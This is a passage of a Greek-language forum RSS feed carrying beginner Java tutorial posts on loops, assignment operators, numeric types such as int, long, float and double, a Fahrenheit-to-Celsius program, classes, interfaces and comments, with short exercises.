/><br /><br />class CountToTwentyByTwos  {<br /><br />  public static void main (String args[]) {<br />    int i;<br />    for (i=0; i &lt;=20; i += 2) {  <br />      System.out.println(i);<br />    } <br />    System.out.println("All done!");<br /><br /> } //main ends here<br /><br />}<br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->Όπως πιθανόν να μαντέψατε υπάρχει και ο αντίστοιχος -= τελεστής. Αν θέλαμε να μετρήσουμε από το 20 ως το 0 ανά δύο θα γράφαμε :<!--fontc--></span><!--/fontc--><br /><br /><br />class CountToZeroByTwos  {<br /><br />  public static void main (String args[]) {<br />    int i;<br />    for (i=20; i &gt;= 0; i -= 2) {  <br />      System.out.println(i);<br />    } <br />    System.out.println("All done!");<br /><br />  }<br /><br />}<br /><br />Σημειώστε ότι αν θέλαμε να μετρήσουμε από πάνω προς τα κάτω όπως στο προηγούμενο παράδειγμα, πρέπει ν’ αλλάξουμε την αρχικοποίηση και τα συστατικά του ελέγχου στον βρόγχο for.<br /><br />Υπάρχουν επίσης και οι τελεστές *= και /= που πολλαπλασιάζουν και διαιρούν από τη δεξιά πλευρά πριν την απόδοση. Παρακάτω έχουμε ένα παράδειγμα.<br /><br />Πριν πολλά χρόνια, κάποιος άντρας στην Ινδία εφεύρε το παιχνίδι του σκακιού. Αυτό το παιχνίδι είχε ενθουσιάσει τόσο πολύ το Βασιλιά που ήταν διατεθιμένος να χαρίσει στον εφευρέτη του το μισό του βασίλειο και το χέρι της κόρης του.<br /><br />Ο εφευρέτης που ήταν πολύ έξυπνος και καθόλου πλεονέκτης δεν ικανοποιήθηκε με το μισό βασίλειο και είπε στο Βασιλιά: « Βασιλιά μου, είμαι ένας ταπεινός άνθρωπος και δεν ξέρω τι να κάνω το μισό σου βασίλειο. Έλα να υπολογίσουμε το δώρο μου αλλιώς. Βάλε στο πρώτο τετράγωνο του σκακιού ένα σπόρο σιτάρι. Μετά, στο δεύτερο τετράγωνο δύο σπόρους σιτάρι, στο τρίτο τετράγωνο δύο φορές από δύο σπόρους κ.τ.λ μέχρι να καλυφθεί ολόκληρο το σκάκι από σπόρους.<br /><br />Όταν το άκουσε αυτό ο Βασιλιάς χάρηκε πολύ που θα γλίτωνε με τόσο λίγα έξοδα και συμφώνησε αμέσως. Ζήτησε να του φέρουν μια σακούλα σιτάρι και όταν του την έφεραν άρχισε να το τοποθετεί. Σύντομα το σιτάρι τελείωσε και δεν είχε καλύψει ούτε το μισό σκάκι. Ζήτησε και δεύτερη και τρίτη και άλλες πολλές σακούλες, μέχρι που αναγκάστηκε να παραδεχτεί την ήττα του.<br /> Πόσο σιτάρι χρειαζόταν ο βασιλιάς; Ας προσπαθήσουμε να υπολογίσουμε. Θυμηθείτε ότι το σκάκι έχει 64 τετράγωνα<br /><br />class CountWheat  {<br /><br />  public static void main (String args[]) {<br />  <br />    int i, j, k;<br /><br />    j = 1;<br />    k = 0;<br /><br />    for (i=1; i &lt;= 64; i++) {<br />      k += j;<br />      System.out.println(k);<br />      j *= 2;<br />    } <br />    System.out.println("All done!");<br /><br />  }<br /><br />}<br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->Μπορούμε να βελτιώσουμε ελαφρώς τα αποτελέσματα αλλάζοντας τους ints με longs κι έτσι έχουμε:<!--fontc--></span><!--/fontc--><br /><br /><br />class CountWheat {<br /><br />  public static void main (String args[]) {<br />  <br />    long i, j, k;<br /><br />    j = 1;<br />    k = 0;<br /><br />    for (i=1; i &lt;= 64; i++) {<br />      k += j;<br />      System.out.println(k);<br />      j *= 2;<br />    } <br />    System.out.println("All done!");<br /><br />  }<br /><br />}<br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->Ένας long είναι μια μεταβλητή ακέραιου τύπου που μπορεί να εκφράσει 9,223,372,036,854,775,807 αριθμούς. Ακόμα κι ένας long όμως δεν μπορεί να μετρήσει το σιτάρι που χρειαζόταν ο βασιλιάς. Ας προσπαθήσουμε να χρησιμοποιήσουμε τώρα έναν double.<!--fontc--></span><!--/fontc--><br /><br /><br />class CountWheat {<br /><br />  public static void main (String args[]) {<br />  <br />  int i;<br />  double j, k;<br />  <br />  j = 1.0;<br />  k = 0.0;<br />  <br />  for (i=1; i &lt;= 64; i++) {<br />      k += j;<br />      System.out.println(k);<br />      j *= 2;<br />  } <br />  System.out.println("All done!");<br /><br /> }<br /><br />}<br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->Ένας double μπορεί να κρατήσει έναν αριθμό μεγέθους 1.79769313486231570e+308. Έτσι είναι ικανός να μετρήσει το χρέος του Βασιλιά που ανέρχεται σε 1.84467e+019 σπόρους από σιτάρι.<br /><br /><!--fontc--></span><!--/fontc--><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo--><u><b>ΑΣΚΗΣΕΙΣ</b></u><!--sizec--></span><!--/sizec--><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto--><b>1.</b> Είναι ικανός ένας float να μετρήσει πόσους σπόρους από σιτάρι χρωστάει ο βασιλιάς;<br /><b>2.</b> Γιατί δεν υπάρχει ένας τελεστής ** ή //;<br /><br /><!--fontc--></span><!--/fontc-->]]></description>
		<pubDate>Mon, 15 Jun 2009 21:31:07 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=935</guid>
	</item>
	<item>
		<title>ΜΕΤΑΒΛΗΤΕΣ ΚΙΝΗΤΗΣ ΥΠΟΔΙΑΣΤΟΛΗΣ (FLOATING POINT VARIABLES)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=933</link>
		<description><![CDATA[Θα παρατηρήσατε κάτι ανορθόδοξο στην παραπάνω έξοδο. Οι αριθμοί δεν ήταν ακριβώς σωστοί. Το 0 σε βαθμούς Fahrenheit είναι στην πραγματικότητα -17.778 βαθμούς Celsius και όχι -18°C όπως μας δίνει το πρόγραμμα. Το πρόβλημα είναι ότι χρησιμοποιήσαμε μόνο ακέραιους, όχι δεκαδικούς αριθμούς. Στη γλώσσα των υπολογιστών οι δεκαδικοί αριθμοί ονομάζονται «αριθμοί κινητής υποδιαστολής».<br />Οι αριθμοί κινητής υποδιαστολής μπορούν να αναπαραστήσουν μεγαλύτερο πλήθος τιμών απ’ ότι οι ακέραιοι. Για παράδειγμα, μπορείτε να γράψετε πολύ μεγάλα νούμερα, όπως η ταχύτητα του φωτός (2.998Ε8 μέτρα ανά δευτερόλεπτο) αλλά και πολύ μικρά, όπως η σταθερά του Plank, χρησιμοποιώντας τον ίδιο αριθμό ψηφίων. Από την άλλη μεριά χάνεται μέρος από την ακρίβεια, που πιθανόν όμως να μην ήταν απαραίτητη για τόσο μεγάλα ή τόσο μικρά νούμερα.<br /><br />Μερικές γλώσσες έχουν και ένα τρίτο είδος αριθμών που ονομάζονται αριθμοί σταθερής υποδιαστολής. Αυτοί οι αριθμοί έχουν μια δεδομένη ακρίβεια, για παράδειγμα δύο δεκαδικές θέσεις και είναι συχνά χρήσιμοι στους νομισματικούς υπολογισμούς. Η Java δεν έχει τέτοιο τύπο δεδομένων.<br /><br />Η χρήση αριθμών κινητής υποδιαστολής δεν είναι δυσκολότερη από τη χρήση ακεραίων. Μπορούμε να κάνουμε το πρόγραμμά μας πιο ακριβές μετατρέποντας όλες τις int μεταβλητές σε double. <br />// Print a more accurate Fahrenheit to Celsius table<br /><br /><br /><br />class FahrToCelsius  {<br /><br />  public static void main (String args[]) {<br /><br />    double fahr, celsius;<br />    double lower, upper, step;<br /><br />    lower = 0.0;      // lower limit of temperature table<br />    upper = 300.0;  // upper limit of temperature table<br />    step  = 20.0;     // step size<br /> <br />    fahr = lower;<br />    while (fahr &lt;= upper) {  // while loop begins here<br />      celsius = 5.0 * (fahr-32.0) / 9.0;<br />      System.out.print(fahr);<br />      System.out.print(" ");<br />      System.out.println(celsius);<br />      fahr = fahr + step;<br />    } // while loop ends here<br />  } // main ends here<br /><br />} //FahrToCelsius ends here <br /><br />Προσέξτε την αλλαγή στο πρόγραμμα. Όλες οι ακέραιες σταθερές όπως το 5 και το 9 έγιναν 5.0, 9.0 κτλ. Αν ένας σταθερός αριθμός περιέχει την υποδιαστολή, τότε ο μεταγλωτιστής θεωρεί ότι είναι ένας αριθμός κινητής υποδιαστολής. Αν όχι, τότε ο μεταγλωτιστής θεωρεί ότι είναι ακέραιος. Όταν όμως δύο αριθμοί διαφορετικού τύπου, για παράδειγμα ένας ακέραιος και ένας κινητής υποδιαστολής, βρίσκονται στη δεξιά πλευρά μιας ισότητας τότε ο μεταγλωτιστής προάγει τον αριθμό με τον πιο αδύναμο τύπο στον πιο δυνατό προτού κάνει τον υπολογισμό.<br /><br />Τι κάνει τον τύπο ενός αριθμού δυνατότερο από κάποιον άλλο; Η δυνατότητα να αναπαραστήσει μια πιο διευρυμένη κλίμακα αριθμών. Εφόσον ένα byte μπορεί να αναπαραστήσει μόνο 256 αριθμούς είναι πιο αδύναμο από έναν short που μπορεί να αναπαραστήσει 65.537 διαφορετικούς αριθμούς, συμπεριλαμβανομένων κι εκείνων που αναπαριστά ένα byte. Όμοια, ένας int είναι ισχυρότερος από έναν short. Οι αριθμοί κινητής υποδιαστολής είναι δυνατότεροι από οποιονδήποτε ακέραιο τύπο και οι doubles είναι ο πιο ισχυρός τύπος απ’ όλους.<br /><br />Γι’ αυτό θα μπορούσαμε να αφήσουμε όλες τις μικρές σταθερές σαν ακέραιους και η έξοδος του προγράμματος να μην άλλαζε καθόλου. Είναι καλύτερα όμως να βάζουμε την υποδιαστολή προκειμένου να θυμίζουμε σε όλους τι συμβαίνει.<br /><br />Αυτά εφαρμόζονται σε υπολογισμούς που συμβαίνουν στη δεξιά πλευρά του =. Με την αριστερή πλευρά συμβαίνει κάτι άλλο. Οι προγραμματιστές έχουν δώσει ειδικές ονομασίες στην κάθε πλευρά. Η αριστερή ονομάζεται lvalue ενώ η δεξιά πλευρά ονομάζεται rvalue.<br /><br />H rvalue είναι ένα αριθμητικό αποτέλεσμα και όπως αναφέρθηκε πιο πάνω, λαμβάνει τον ισχυρότερο τύπο των αριθμών που συμμετέχουν στον υπολογισμό. Από την άλλη μεριά η lvalue έχει έναν τύπο που πρέπει να προσδιοριστεί προτού χρησιμοποιηθεί. Αυτό κάνουν οι δηλώσεις τύπου float fahr, celsius; Από τη στιγμή που ο τύπος της lvalue δηλωθεί, δεν αλλάζει ποτέ. Γι’ αυτό αν δηλώσουμε το fahr σαν int, τότε στην αριστερή πλευρά της ισότητας το fahr θα είναι πάντα int, ποτέ float ή double ή long.<br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->Προκύπτει το εξής ερώτημα : Τί γίνεται όταν ο τύπος στα αριστερά δεν συμπίπτει με τον τύπο στα δεξιά; Για παράδειγμα, έχουμε τον παρακάτω κώδικα :<!--fontc--></span><!--/fontc--><br /><br /><br />class FloatToInt  {<br /><br />  public static void main (String args[]) {<br /><br />    int myInteger;<br /><br />    myInteger = 9.7;<br /><br />  } // main ends here<br /><br />} //FloatToInt ends here <br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->Δύο πράγματα μπορεί να συμβούν. Αν όπως πιο πάνω προσπαθούμε να μετατρέψουμε έναν αριθμό σε πιο αδύναμο τύπο μεταβλητής τότε ο compiler αναγνωρίζει το λάθος. Αντίθετα, αν προσπαθούμε να μετατρέψουμε έναν αδύναμο τύπο σε πιο ισχυρό τότε ο compiler κάνει τη μετατροπή. Για παράδειγμα, έχουμε τον παρακάτω μόνιμο κώδικα:<!--fontc--></span><!--/fontc--><br /><br /><br />class IntToFloat  {<br /><br />  public static void main (String args[]) {<br /><br />    float myFloat;<br />    int   myInteger;<br /><br />    myInteger = 9;<br />    myFloat = myInteger;<br />    System.out.println(myFloat);<br /><br />  } // main ends here<br /><br />} //IntToFloat ends here <br /><br /><b><u><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->ΑΣΚΗΣΕΙΣ<!--sizec--></span><!--/sizec--></u></b><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto--><b>1.</b> Προσθέστε στο FahrToCelsius μια επικεφαλίδα πριν τον πίνακα<br /><b>2.</b> Γράψτε ένα παρόμοιο πρόγραμμα που να μετατρέπει τους Celsius σε Fahrenheit<br /><br /><!--fontc--></span><!--/fontc-->]]></description>
		<pubDate>Mon, 15 Jun 2009 21:26:50 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=933</guid>
	</item>
	<item>
		<title>FahrToCelsius</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=932</link>
		<description><![CDATA[Η Java δεν χρησιμοποιείται μόνο για το World Wide Web. Το πρόγραμμα που ακολουθεί αναφέρεται στην κλασική χρήση των υπολογιστών και μας γυρίζει στην εποχή των υπολογιστών με κάρτες μηχανής. Είναι ένα από τα πιο χρήσιμα προγράμματα που έχουν γραφτεί ποτέ. Σχεδιάστηκε για να υπολογίζει γρήγορα αριθμούς, οι οποίοι θα έπρεπε να υπολογιστούν με το χέρι στα εργαστήρια φυσικής.<br /><br />// Print a Fahrenheit to Celsius table<br /><br /><br /><br />class FahrToCelsius  {<br /><br />  public static void main (String args[]) {<br />  <br />  int fahr, celsius;<br />  int lower, upper, step;<br /><br />  lower = 0;      // lower limit of temperature table<br />  upper = 300;  // upper limit of temperature table<br />  step  = 20;     // step size<br /><br />  fahr = lower;<br />  while (fahr &lt;= upper) {  // while loop begins here<br />    celsius = 5 * (fahr-32) / 9;<br />    System.out.print(fahr);<br />    System.out.print(" ");<br />    System.out.println(celsius);<br />    fahr = fahr + step;<br />  } // while loop ends here<br />} // main ends here<br /><br />} //FahrToCelsius ends here <br /><br />Tο πρόγραμμα αυτό υπολογίζει έναν πίνακα θερμοκρασιών Fahrenheit με τις ισοδύναμες θερμοκρασίες Celsius. Οι δύο πρώτες γραμμές της κύριας μεθόδου δηλώνουν τις μεταβλητές που θα χρησιμοποιήσουμε. Συγκεκριμενοποιούνται τα ονόματα και οι τύποι. Για την ώρα χρησιμοποιούμε μόνο ακέραιους. Στην Java ένας int μπορεί να πάρει τιμές από -2,147,483,648 μέχρι 2,147,483,647.<br /><br />Στη συνέχεια αρχικοποιούμε τις μεταβλητές χρησιμοποιώντας δηλώσεις όπως lower=0. Aυτό θέτει την αρχική τιμή της lower ίση με 0.<br /><br />Αφού θέσουμε αρχικές τιμές σε όλες μας τις μεταβλητές, πηγαίνουμε στον βρόγχο που κάνει τη βασική δουλειά στο πρόγραμμά μας. Στην αρχή κάθε επανάληψης του βρόγχου (fahr &lt;= upper) ελέγχουμε να δούμε αν η τιμή του fahr είναι πράγματι μικρότερη ή ίση με την τρέχουσα τιμή του upper. Αν είναι, τότε ο υπολογιστής εκτελεί τις εντολές του βρόγχου (ό,τι υπάρχει δηλαδή μεταξύ του «while loop begins here» και «while loop ends here»). Οι βρόγχοι στη Java κλείνονται μέσα σε ζευγάρια αγκίστρων και μπορούν να είναι φωλιασμένοι.<br /><br />celsius=5*(fahr-32)/9; Υπολογίζει τους βαθμούς Celsius έχοντας τους βαθμούς Fahrenheit. Οι αριθμητικοί τελεστές κάνουν ακριβώς αυτό που γνωρίζετε. Το * συμβολίζει τον πολλαπλασιασμό, το - την αφαίρεση, το / την διαίρεση και το + παρόλο που δεν το συναντήσαμε εδώ, συμβολίζει την πρόσθεση. Η προτεραιότητα των πράξεων ακολουθεί τους κανονικούς αλγεβρικούς κανόνες.<br /><br />Η Java περιέχει ένα ολοκληρωμένο σύνολο αριθμητικών τελεστών. Όπως και στη C λείπει ένας εκθετικός τελεστής. Για τις εκθετικές πράξεις θα πρέπει να χρησιμοποιήσετε τις μεθόδους pow στο πακέτο java.lang.Math.<br /><br />Η εκτύπωση της εξόδου είναι πολύ απλή. Χρησιμοποιούμε το System.out.print(fahr) για να τυπώσουμε τις τιμές Fahrenheit, μετά το System.out.print(" ") για να τυπώσουμε το κενό και τελικά το System.out.println(Celsius) για να τυπώσουμε τις τιμές Celsius.]]></description>
		<pubDate>Mon, 15 Jun 2009 21:25:11 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=932</guid>
	</item>
	<item>
		<title>INTERFACES</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=931</link>
		<description>Όπως είπαμε, οι κλάσεις είναι πολύ βασικό στοιχείο της Java. Παρόλ’ αυτά υπάρχει κάτι στον κώδικα της Java που δεν είναι ούτε κλάση, ούτε τμήμα μιας κλάσης. Αυτό λέγεται διεπαφή. Δεν θα πούμε πολλά για τις διεπαφές μια και αφορούν πιο εξειδικευμένο κεφάλαιο. Απλά θα σημειώσουμε ότι μια διεπαφή προσδιορίζει τις μεθόδους που εφαρμόζει μία κλάση. Με άλλα λόγια δηλώνει τί κάνουν συγκεκριμένες κλάσεις. Μια διεπαφή από μόνη της δεν κάνει τίποτα. Όλη η δράση της πραγματοποιείται μέσα στις κλάσεις.</description>
		<pubDate>Mon, 15 Jun 2009 21:22:43 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=931</guid>
	</item>
	<item>
		<title>ΚΛΑΣΕΙΣ ΚΑΙ OBJECTS: ΜΙΑ ΠΡΩΤΗ ΜΑΤΙΑ</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=930</link>
		<description><![CDATA[Οι κλάσεις (classes) είναι τα πιο σημαντικά στοιχεία της Java. Τα πάντα στη Java είναι μια κλάση, ή ένα τμήμα μιας κλάσης ή περιγράφει το πώς συμπεριφέρεται μία κλάση. Παρόλο που οι κλάσεις θα μελετηθούν με λεπτομέρεια στο κεφάλαιο 4, είναι τόσο θεμελιώδεις για την κατανόηση των προγραμμάτων που μια μικρή εισαγωγή σ’ αυτό το σημείο είναι απαραίτητη.<br />Όλο το νόημα στα προγράμματα της Java βρίσκεται στα class blocks, στην περίπτωση μας στο HelloWorld class. Οι μέθοδοι προσδιορίζονται από κλάσεις στις οποίες ανήκουν. Αυτό πιθανόν να προκαλέσει σύγχιση στους προγραμματιστές της C++ που έχουν συνηθίσει να προσδιορίζουν τις μεθόδους έξω από τα class blocks. Στη Java όλα τα συντακτικά και λογικά θέματα πραγματοποιούνται μέσα στην κλάση.<br /><br />Ακόμα και τα πιο βασικά δεδομένα όπως οι ακέραιοι, συχνά είναι απαραίτητο να ενσωματωθούν σε κλάσεις προτού χρησιμοποιηθούν αποτελεσματικά. Κλάση είναι η θεμελιώδης μονάδα των προγραμμάτων της Java. Για παράδειγμα, παρακολουθήστε το παρακάτω πρόγραμμα :<br /><br /><br />class HelloWorld {<br /><br />  public static void main (String args[]) {<br /><br />    System.out.println("Hello World");<br /><br />  }<br /><br />}<br /><br />class GoodbyeWorld {<br /><br />  public static void main (String args[]) {<br /><br />    System.out.println("Goodbye Cruel World!");<br /><br />  }<br /><br />}<br /><br />Σώστε τον κώδικα σε ένα αρχείο που θα ονομάσετε hellogoodbye.java στο java directory και μεταγλωτίστε το με το javac hellogoodbye.java. Στη συνέχεια καταγράψτε τα περιεχόμενα του directory. Θα παρατηρήσετε ότι ο μεταγλωτιστής δημιούργησε δύο ξεχωριστά αρχεία κλάσης, το HelloWorld.class και το GoodbyeWorld.class.<br /><br />Η δεύτερη κλάση είναι ένα ανεξάρτητο πρόγραμμα. Πληκτρολογείστε java GoodbyeWorld και μετά java HelloWorld. Αυτά τα προγράμματα τρέχουν και εκτελούνται ανεξάρτητα το ένα από το άλλο παρόλο που υπάρχουν στο ίδιο αρχείο πηγαίου κώδικα. Βέβαια δεν υπάρχει κάποιος λόγος να θέλουμε δύο διαφορετικά προγράμματα στο ίδιο αρχείο, αλλά αν συμβεί έχουμε τη δυνατότητα να το πραγματοποιήσουμε.<br /><br />Είναι πιο πιθανό να θελήσουμε περισσότερες από μία κλάση στο ίδιο αρχείο. Θα συναντήσουμε αρχείο πηγαίου κώδικα με πολλές κλάσεις και μεθόδους. Στην πραγματικότητα υπάρχουν δηλώσεις που μπορούν, με την πρώτη ματιά, να εμφανιστούν έξω από μια κλάση. Οι δηλώσεις εισόδου εμφανίζονται στην αρχή ενός αρχείου έξω από κάθε class. O μεταγλωτιστής όμως τις αντικαθιστά με τα περιεχόμενα του αρχείου που αποτελείται από περισσότερες κλάσεις.]]></description>
		<pubDate>Mon, 15 Jun 2009 21:22:27 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=930</guid>
	</item>
	<item>
		<title>ΜΕΤΑΒΛΗΤΕΣ ΚΑΙ ΑΡΙΘΜΗΤΙΚΕΣ ΕΚΦΡΑΣΕΙΣ (VARIABLES AND ARITHMETIC EXPRESSIONS)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=929</link>
		<description><![CDATA[Στο κεφάλαιο αυτό θα εισάγουμε την έννοια του βρόγχου (loop). Loop είναι ένα τμήμα κώδικα που εκτελείται συνεχώς μέχρι να συναντήσει μια συνθήκη τερματισμού. Ένα συνηθισμένο loop είναι το ακόλουθο:<br /><br />while there's more data {<br /><br /><br />  Read a Line of Data<br />  Do Something with the Data<br />}<br /><br />Υπάρχουν πολλά, διαφορετικά είδη loops στη Java, συμπεριλαμβανομένων των while, for και do while.<br /><br />Η for ακολουθεί ένα προκαθορισμένο αριθμό επαναλήψεων και μετά σταματά. H while επαναλαμβάνεται ασταμάτητα μέχρι να συναντήσει μια συγκεκριμένη συνθήκη. Συνήθως δεν γνωρίζουμε προηγουμένως, πόσες φορές θα επαναληφθεί ένα while loop.<br /><br />Σ’ αυτήν την περίπτωση θέλουμε να γράψουμε ένα βρόγχο που θα τυπώνει καθένα από τα command line arguments ξεκινώντας από το πρώτο. Δεν ξέρουμε προηγουμένως πόσα command line arguments θα είναι, αλλά μπορούμε να το μάθουμε εύκολα προτού ο βρόγχος αρχίσει να χρησιμοποιεί το args.length.Γι’ αυτό και θα χρησιμοποιήσουμε τον βρόγχο for. Ακολουθεί ο κώδικας:<br /><br /><br />// This is the Hello program in Java<br />class Hello {<br /><br />    public static void main (String args[]) {<br />    <br />      int i;<br />    <br />      /* Now let's say hello */<br />      System.out.print("Hello ");<br />      for (i=0; i &lt; args.length; i = i+1) {<br />        System.out.print(args[i]);<br />        System.out.print(" ");<br />      }<br />      System.out.println();<br />  }<br /><br />}<br /><br />Ξεκινάμε τον κώδικα δηλώνοντας τις μεταβλητές μας. Σ’ αυτήν την περίπτωση έχουμε μία μόνο μεταβλητή, την ακέραια i.<br /><br />Μετά ξεκινάμε το πρόγραμμα γράφοντας «Hello» όπως προηγουμένως. Έπειτα βλέπουμε τον βρόγχο for. Ο βρόγχος ξεκινά αρχικοποιώντας τον μετρητή i να είναι 0. Aυτό συμβαίνει μία φορά στην αρχή του βρόγχου. Η προγραμματιστική παράδοση που βασίζεται στη Fortran επιμένει ότι οι μεταβλητές του βρόγχου πρέπει να ονομάζονται με τη σειρά i, j, k, l, m, n. Αυτό είναι μια σύμβαση και όχι χαρακτηριστικό της γλώσσας Java. Παρόλ’ αυτά όμως όποιος διαβάσει τον κώδικά σας θα περιμένει να ακολουθήσετε τη σύμβαση. Αν επιλέξετε να αγνοήσετε τη σύμβαση, προσπαθήστε να δώσετε στις μεταβλητές μνημονικά ονόματα, όπως counter και loop_index.<br /><br />Ακολουθεί η εξέταση της υπόθεσης. Σ’ αυτήν την περίπτωση εξετάζουμε αν τo i είναι μικρότερο από τον αριθμό των arguments. Όταν το i γίνει ίσο με τον αριθμό των arguments (args.length), βγαίνουμε από τον βρόγχο και πηγαίνουμε στην πρώτη εντολή μετά το κλείσιμο του βρόγχου. Θυμηθείτε ότι ξεκινήσαμε να μετράμε από το 0, όχι από το 1.<br /><br />Τέλος, έχουμε το προσαυξητικό βήμα i=i+1. Αυτό εκτελείται στο τέλος κάθε επανάληψης του βρόγχου. Χωρίς αυτό θα παραμέναμε στον βρόγχο για πάντα αφού το i θα ήταν μόνιμα μικρότερο από το args.length (εκτός φυσικά αν το args.length ήταν μικρότερο ή ίσο με το 0).<br /><br /> <br /><br /><b><u><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->ΠΟΙΟ ΕΙΝΑΙ ΤΟ ΠΡΟΒΛΗΜΑ ΤΩΝ ΚΑΘΗΓΗΤΩΝ ΤΗΣ ΑΛΓΕΒΡΑΣ ΜΕ ΤΗΝ BASIC KAI TH C?<!--sizec--></span><!--/sizec--></u></b><br /><br />Η δήλωση i=i+1 βρίσκει τους καθηγητές της άλγεβρας αντίθετους. Αυτό που δηλώνεται είναι άκυρο. Δεν υπάρχει κανένας αριθμός για τον οποίο η δήλωση i=i+1 να είναι αληθής. Στην πραγματικότητα, αν αφαιρέσουμε το i και από τις δύο πλευρές της ισότητας προκύπτει η λανθασμένη δήλωση 0=1. Το μυστικό εδώ είναι ότι το σύμβολο = δεν συμβολίζει ισότητα. Η ισότητα, όπως είπαμε και πιο πάνω συμβολίζεται με το ==. Σε όλες σχεδόν τις γλώσσες προγραμματισμού, συμπεριλαμβανομένης και της Java, το = είναι τελεστής εκχώρησης.<br /><br />Μία αξιοπρόσεκτη εξαίρεση είναι η Pascal (καθώς επίσης και τα παράγωγά της Modula-2, Modula-3 και Οberon), όπου το = δηλώνει ισότητα ενώ τελεστής απόδοσης είναι το :=. Οι δάσκαλοι των μαθηματικών δεν θέλουν να βλέπουν το = να ταλαιπωρείται. Αυτός είναι ένας από τους λόγους που η Pascal είναι η πιο δημοφιλής γλώσσα για τη διδασκαλία προγραμματισμού. Αξιοσημείωτο είναι ότι οι καθηγητές των μαθηματικών είναι αντίθετοι με γλώσσες όπως η Basic όπου, ανάλογα με το περιεχόμενο, το = δηλώνει είτε απόδοση είτε ισότητα.<br /><br /> <br /><br /><b><u><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->ΑΣΚΗΣΕΙΣ<!--sizec--></span><!--/sizec--></u></b><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto--><b>1.</b>Τι γίνεται αν δεν δώσουμε στο πρόγραμμα Hello κανένα command line argument; Εφόσον δεν ελέγχουμε πια τον αριθμό των command line arguments γιατί βγαίνει το μήνυμα ArrayIndexOutOfBoundsException;<br /><b>2.</b> Για κάποια συγκεκριμένα αριθμητικά συστήματα η δήλωση i=i+1 έχει μια έγκυρη λύση. Ποια είναι αυτή;<br /><br /><!--fontc--></span><!--/fontc-->]]></description>
		<pubDate>Mon, 15 Jun 2009 21:21:08 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=929</guid>
	</item>
	<item>
		<title>ΔΕΔΟΜΕΝΑ ΚΑΙ ΜΕΤΑΒΛΗΤΕΣ (DATA AND VARIABLES)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=927</link>
		<description><![CDATA[Οι μέθοδοι είναι το μισό της Java. Το άλλο μισό είναι τα δεδομένα. Θεωρείστε την παρακάτω γενίκευση του προγράμματος HelloWorld :<br /><br />// This is the Hello Rusty program in Java<br /><br /><br />class HelloRusty {<br /><br />       public static void main (String args[]) {<br />    <br />            // You may feel free to replace "Rusty" with your own name<br />            String name = "Rusty";<br />      <br />            /* Now let's say hello */<br />            System.out.print("Hello ");<br />            System.out.println(name);<br />  }<br /><br />}<br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->Εδώ, επιτρέπουμε στη Java να χαιρετίσει ένα συγκεκριμένο άτομο και όχι γενικά τον κόσμο. Αυτό γίνεται δημιουργώντας μία μεταβλητή αλφαριθμητικού που την ονομάζουμε «name» και αποθηκεύοντας την τιμή «Rusty» σ’ αυτήν (Στη θέση της τιμής Rusty μπορούμε να επιλέξουμε οποιοδήποτε όνομα). Μετά τυπώνουμε το «Hello». Παρατηρήστε ότι αλλάξαμε τη μέθοδο System.out.println με την παρόμοια System.out.print. H System.out.print είναι ακριβώς ίδια με την System.out.println με τη μόνη διαφορά ότι δεν σπάει τη γραμμή αφού τελειώσει. Γι’ αυτό, όταν φτάνουμε στην επόμενη γραμμή του κώδικα, ο δρομέας βρίσκεται ακόμα στη γραμμή της λέξης «Ηello» και είμαστε έτοιμοι να τυπώσουμε όνομα.<!--fontc--></span><!--/fontc-->]]></description>
		<pubDate>Mon, 15 Jun 2009 21:12:40 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=927</guid>
	</item>
	<item>
		<title>ΣΧΟΛΙΑ (COMMENTS)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=926</link>
		<description><![CDATA[Τα σχόλια μπορούν να εμφανιστούν οπουδήποτε σ’ ένα αρχείο. Τα σχόλια δηλώνονται με τον ίδιο τρόπο όπως στη C και στη C++. Ό,τι υπάρχει μεταξύ /*και*/ αγνοείται από τον compiler. Ό,τι υπάρχει σε μία γραμμή μετά από δύο συνεχόμενα slashes επίσης θεωρείται σαν σχόλιο. Γι’ αυτό και το ακόλουθο πρόγραμμα είναι, όσο αφορά τον compiler ίδιο με το πρώτο :<br /><br />// This is the Hello World program in Java <br /><br />class HelloWorld {<br /><br /><br /><br />    public static void main (String args[]) {<br />         /* Now let's print the line Hello World */<br />         System.out.println("Hello World");<br />      <br />  }<br /><br />}]]></description>
		<pubDate>Mon, 15 Jun 2009 21:10:10 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=926</guid>
	</item>
	<item>
